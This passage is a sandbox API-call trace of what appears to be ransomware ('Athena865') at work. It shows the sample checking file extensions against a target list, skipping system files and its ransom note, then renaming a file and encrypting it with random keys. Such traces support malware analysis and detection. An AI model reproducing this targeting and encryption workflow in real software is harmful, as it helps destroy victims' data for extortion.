[0046.871] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.871] lstrlenW (lpString="dacpac") returned 6 [0046.871] lstrcmpiW (lpString1="rt.dll", lpString2="dacpac") returned 1 [0046.871] lstrlenW (lpString="dad") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.871] lstrlenW (lpString="dadiagrams") returned 10 [0046.871] lstrcmpiW (lpString1="import.dll", lpString2="dadiagrams") returned 1 [0046.871] lstrlenW (lpString="daschema") returned 8 [0046.871] lstrcmpiW (lpString1="port.dll", lpString2="daschema") returned 1 [0046.871] lstrlenW (lpString="db-journal") returned 10 [0046.871] lstrcmpiW (lpString1="import.dll", lpString2="db-journal") returned 1 [0046.871] lstrlenW (lpString="db-shm") returned 6 [0046.871] lstrcmpiW (lpString1="rt.dll", lpString2="db-shm") returned 1 [0046.871] lstrlenW (lpString="db-wal") returned 6 [0046.871] lstrcmpiW (lpString1="rt.dll", lpString2="db-wal") returned 1 [0046.871] lstrlenW (lpString="dbc") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.871] lstrlenW (lpString="dbs") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.871] lstrlenW (lpString="dbt") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.872] lstrlenW (lpString="dbv") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.872] lstrlenW (lpString="dbx") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.872] lstrlenW (lpString="dcb") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.872] lstrlenW (lpString="dct") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.872] lstrlenW (lpString="dcx") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.872] lstrlenW (lpString="ddl") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.872] lstrlenW (lpString="dlis") returned 4 [0046.872] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.872] lstrlenW (lpString="dp1") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.872] lstrlenW (lpString="dqy") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.872] lstrlenW (lpString="dsk") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.872] lstrlenW (lpString="dsn") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.872] lstrlenW (lpString="dtsx") returned 4 [0046.872] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.872] lstrlenW (lpString="dxl") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.872] lstrlenW (lpString="eco") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.872] lstrlenW (lpString="ecx") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.872] lstrlenW (lpString="edb") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.872] lstrlenW (lpString="epim") returned 4 [0046.872] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.872] lstrlenW (lpString="fcd") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.872] lstrlenW (lpString="fdb") returned 3 [0046.872] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.873] lstrlenW (lpString="fic") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.873] lstrlenW (lpString="flexolibrary") returned 12 [0046.873] lstrlenW (lpString="fm5") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.873] lstrlenW (lpString="fmp") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.873] lstrlenW (lpString="fmp12") returned 5 [0046.873] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0046.873] lstrlenW (lpString="fmpsl") returned 5 [0046.873] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0046.873] lstrlenW (lpString="fol") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.873] lstrlenW (lpString="fp3") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.873] lstrlenW (lpString="fp4") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.873] lstrlenW (lpString="fp5") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.873] lstrlenW (lpString="fp7") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.873] lstrlenW (lpString="fpt") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.873] lstrlenW (lpString="frm") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.873] lstrlenW (lpString="gdb") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.873] lstrlenW (lpString="gdb") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.873] lstrlenW (lpString="grdb") returned 4 [0046.873] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.873] lstrlenW (lpString="gwi") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.873] lstrlenW (lpString="hdb") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.873] lstrlenW (lpString="his") returned 3 [0046.873] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.873] lstrlenW (lpString="ib") returned 2 [0046.874] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.874] lstrlenW (lpString="idb") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.874] lstrlenW (lpString="ihx") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.874] lstrlenW (lpString="itdb") returned 4 [0046.874] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.874] lstrlenW (lpString="itw") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.874] lstrlenW (lpString="jet") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.874] lstrlenW (lpString="jtx") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.874] lstrlenW (lpString="kdb") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.874] lstrlenW (lpString="kexi") returned 4 [0046.874] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.874] lstrlenW (lpString="kexic") returned 5 [0046.874] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0046.874] lstrlenW (lpString="kexis") returned 5 [0046.874] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0046.874] lstrlenW (lpString="lgc") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.874] lstrlenW (lpString="lwx") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.874] lstrlenW (lpString="maf") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.874] lstrlenW (lpString="maq") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.874] lstrlenW (lpString="mar") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.874] lstrlenW (lpString="marshal") returned 7 [0046.874] lstrcmpiW (lpString1="ort.dll", lpString2="marshal") returned 1 [0046.874] lstrlenW (lpString="mas") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.874] lstrlenW (lpString="mav") returned 3 [0046.874] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.875] lstrlenW (lpString="maw") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.875] lstrlenW (lpString="mdbhtml") returned 7 [0046.875] lstrcmpiW (lpString1="ort.dll", lpString2="mdbhtml") returned 1 [0046.875] lstrlenW (lpString="mdn") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.875] lstrlenW (lpString="mdt") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.875] lstrlenW (lpString="mfd") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.875] lstrlenW (lpString="mpd") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.875] lstrlenW (lpString="mrg") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.875] lstrlenW (lpString="mud") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.875] lstrlenW (lpString="mwb") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.875] lstrlenW (lpString="myd") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.875] lstrlenW (lpString="ndf") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.875] lstrlenW (lpString="nnt") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.875] lstrlenW (lpString="nrmlib") returned 6 [0046.875] lstrcmpiW (lpString1="rt.dll", lpString2="nrmlib") returned 1 [0046.875] lstrlenW (lpString="ns2") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.875] lstrlenW (lpString="ns3") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.875] lstrlenW (lpString="ns4") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.875] lstrlenW (lpString="nsf") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.875] lstrlenW (lpString="nv") returned 2 [0046.875] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.875] lstrlenW (lpString="nv2") returned 3 [0046.875] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.876] lstrlenW (lpString="nwdb") returned 4 [0046.876] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.876] lstrlenW (lpString="nyf") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.876] lstrlenW (lpString="odb") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.876] lstrlenW (lpString="odb") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.876] lstrlenW (lpString="oqy") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.876] lstrlenW (lpString="ora") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.876] lstrlenW (lpString="orx") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.876] lstrlenW (lpString="owc") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.876] lstrlenW (lpString="p96") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.876] lstrlenW (lpString="p97") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.876] lstrlenW (lpString="pan") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.876] lstrlenW (lpString="pdb") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.876] lstrlenW (lpString="pdm") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.876] lstrlenW (lpString="pnz") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.876] lstrlenW (lpString="qry") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.876] lstrlenW (lpString="qvd") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.876] lstrlenW (lpString="rbf") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.876] lstrlenW (lpString="rctd") returned 4 [0046.876] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.876] lstrlenW (lpString="rod") returned 3 [0046.876] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.877] lstrlenW (lpString="rodx") returned 4 [0046.877] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.877] lstrlenW (lpString="rpd") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.877] lstrlenW (lpString="rsd") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.877] lstrlenW (lpString="sas7bdat") returned 8 [0046.877] lstrcmpiW (lpString1="port.dll", lpString2="sas7bdat") returned -1 [0046.877] lstrlenW (lpString="sbf") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.877] lstrlenW (lpString="scx") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.877] lstrlenW (lpString="sdb") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.877] lstrlenW (lpString="sdc") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.877] lstrlenW (lpString="sdf") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.877] lstrlenW (lpString="sis") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.877] lstrlenW (lpString="spq") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.877] lstrlenW (lpString="te") returned 2 [0046.877] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.877] lstrlenW (lpString="teacher") returned 7 [0046.877] lstrcmpiW (lpString1="ort.dll", lpString2="teacher") returned -1 [0046.877] lstrlenW (lpString="tmd") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.877] lstrlenW (lpString="tps") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.877] lstrlenW (lpString="trc") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.877] lstrlenW (lpString="trc") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.877] lstrlenW (lpString="trm") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.877] lstrlenW (lpString="udb") returned 3 [0046.877] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.878] lstrlenW (lpString="udl") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.878] lstrlenW (lpString="usr") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.878] lstrlenW (lpString="v12") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.878] lstrlenW (lpString="vis") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.878] lstrlenW (lpString="vpd") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.878] lstrlenW (lpString="vvv") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.878] lstrlenW (lpString="wdb") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.878] lstrlenW (lpString="wmdb") returned 4 [0046.878] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.878] lstrlenW (lpString="wrk") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.878] lstrlenW (lpString="xdb") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.878] lstrlenW (lpString="xld") returned 3 [0046.878] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.878] lstrlenW (lpString="xmlff") returned 5 [0046.878] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0046.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll.Athena865") returned 58 [0046.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll" (normalized: "c:\\program files (x86)\\windows mail\\oeimport.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\oeimport.dll.athena865"), dwFlags=0x1) returned 1 [0046.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\oeimport.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.879] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81408) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.880] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.880] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.880] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14100, lpName=0x0) returned 0x154 [0046.888] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14100) returned 0x100000 [0046.892] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.893] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.893] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.894] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.894] CloseHandle (hObject=0x154) returned 1 [0046.894] CloseHandle (hObject=0x17c) returned 1 [0046.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.895] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2=".") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="..") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="windows") returned -1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="bootmgr") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="temp") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="pagefile.sys") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="boot") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="ids.txt") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="ntuser.dat") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="perflogs") returned 1 [0046.895] lstrcmpiW (lpString1="wab.exe", lpString2="MSBuild") returned 1 [0046.895] lstrlenW (lpString="wab.exe") returned 7 [0046.895] lstrcpyW (in: lpString1=0x241e890, lpString2="wab.exe" | out: lpString1="wab.exe") returned="wab.exe" [0046.895] lstrlenW (lpString="wab.exe") returned 7 [0046.896] lstrlenW (lpString="Athena865") returned 9 [0046.896] lstrlenW (lpString=".dll") returned 4 [0046.896] lstrcmpiW (lpString1="wab.exe", lpString2=".dll") returned 1 [0046.896] lstrlenW (lpString=".lnk") returned 4 [0046.896] lstrcmpiW (lpString1="wab.exe", lpString2=".lnk") returned 1 [0046.896] lstrlenW (lpString=".ini") returned 4 [0046.896] lstrcmpiW (lpString1="wab.exe", lpString2=".ini") returned 1 [0046.896] lstrlenW (lpString=".sys") returned 4 [0046.896] lstrcmpiW (lpString1="wab.exe", lpString2=".sys") returned 1 [0046.896] lstrlenW (lpString="wab.exe") returned 7 [0046.896] lstrlenW (lpString="bak") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0046.896] lstrlenW (lpString="ba_") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0046.896] lstrlenW (lpString="dbb") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0046.896] lstrlenW (lpString="vmdk") returned 4 [0046.896] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0046.896] lstrlenW (lpString="rar") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0046.896] lstrlenW (lpString="zip") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0046.896] lstrlenW (lpString="tgz") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0046.896] lstrlenW (lpString="vbox") returned 4 [0046.896] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0046.896] lstrlenW (lpString="vdi") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0046.896] lstrlenW (lpString="vhd") returned 3 [0046.896] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0046.896] lstrlenW (lpString="vhdx") returned 4 [0046.896] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0046.896] lstrlenW (lpString="avhd") returned 4 [0046.896] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0046.896] lstrlenW (lpString="db") returned 2 [0046.896] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0046.896] lstrlenW (lpString="db2") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0046.897] lstrlenW (lpString="db3") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0046.897] lstrlenW (lpString="dbf") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0046.897] lstrlenW (lpString="mdf") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0046.897] lstrlenW (lpString="mdb") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0046.897] lstrlenW (lpString="sql") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0046.897] lstrlenW (lpString="sqlite") returned 6 [0046.897] lstrcmpiW (lpString1="ab.exe", lpString2="sqlite") returned -1 [0046.897] lstrlenW (lpString="sqlite3") returned 7 [0046.897] lstrlenW (lpString="sqlitedb") returned 8 [0046.897] lstrlenW (lpString="xml") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0046.897] lstrlenW (lpString="$er") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0046.897] lstrlenW (lpString="4dd") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0046.897] lstrlenW (lpString="4dl") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0046.897] lstrlenW (lpString="^^^") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0046.897] lstrlenW (lpString="abs") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0046.897] lstrlenW (lpString="abx") returned 3 [0046.897] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0046.897] lstrlenW (lpString="accdb") returned 5 [0046.897] lstrcmpiW (lpString1="b.exe", lpString2="accdb") returned 1 [0046.897] lstrlenW (lpString="accdc") returned 5 [0046.897] lstrcmpiW (lpString1="b.exe", lpString2="accdc") returned 1 [0046.897] lstrlenW (lpString="accde") returned 5 [0046.897] lstrcmpiW (lpString1="b.exe", lpString2="accde") returned 1 [0046.897] lstrlenW (lpString="accdr") returned 5 [0046.897] lstrcmpiW (lpString1="b.exe", lpString2="accdr") returned 1 [0046.898] lstrlenW (lpString="accdt") returned 5 [0046.898] lstrcmpiW (lpString1="b.exe", lpString2="accdt") returned 1 [0046.898] lstrlenW (lpString="accdw") returned 5 [0046.898] lstrcmpiW (lpString1="b.exe", lpString2="accdw") returned 1 [0046.898] lstrlenW (lpString="accft") returned 5 [0046.898] lstrcmpiW (lpString1="b.exe", lpString2="accft") returned 1 [0046.898] lstrlenW (lpString="adb") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.898] lstrlenW (lpString="adb") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.898] lstrlenW (lpString="ade") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0046.898] lstrlenW (lpString="adf") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0046.898] lstrlenW (lpString="adn") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0046.898] lstrlenW (lpString="adp") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0046.898] lstrlenW (lpString="alf") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0046.898] lstrlenW (lpString="ask") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0046.898] lstrlenW (lpString="btr") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0046.898] lstrlenW (lpString="cat") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0046.898] lstrlenW (lpString="cdb") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0046.898] lstrlenW (lpString="ckp") returned 3 [0046.898] lstrcmpiW 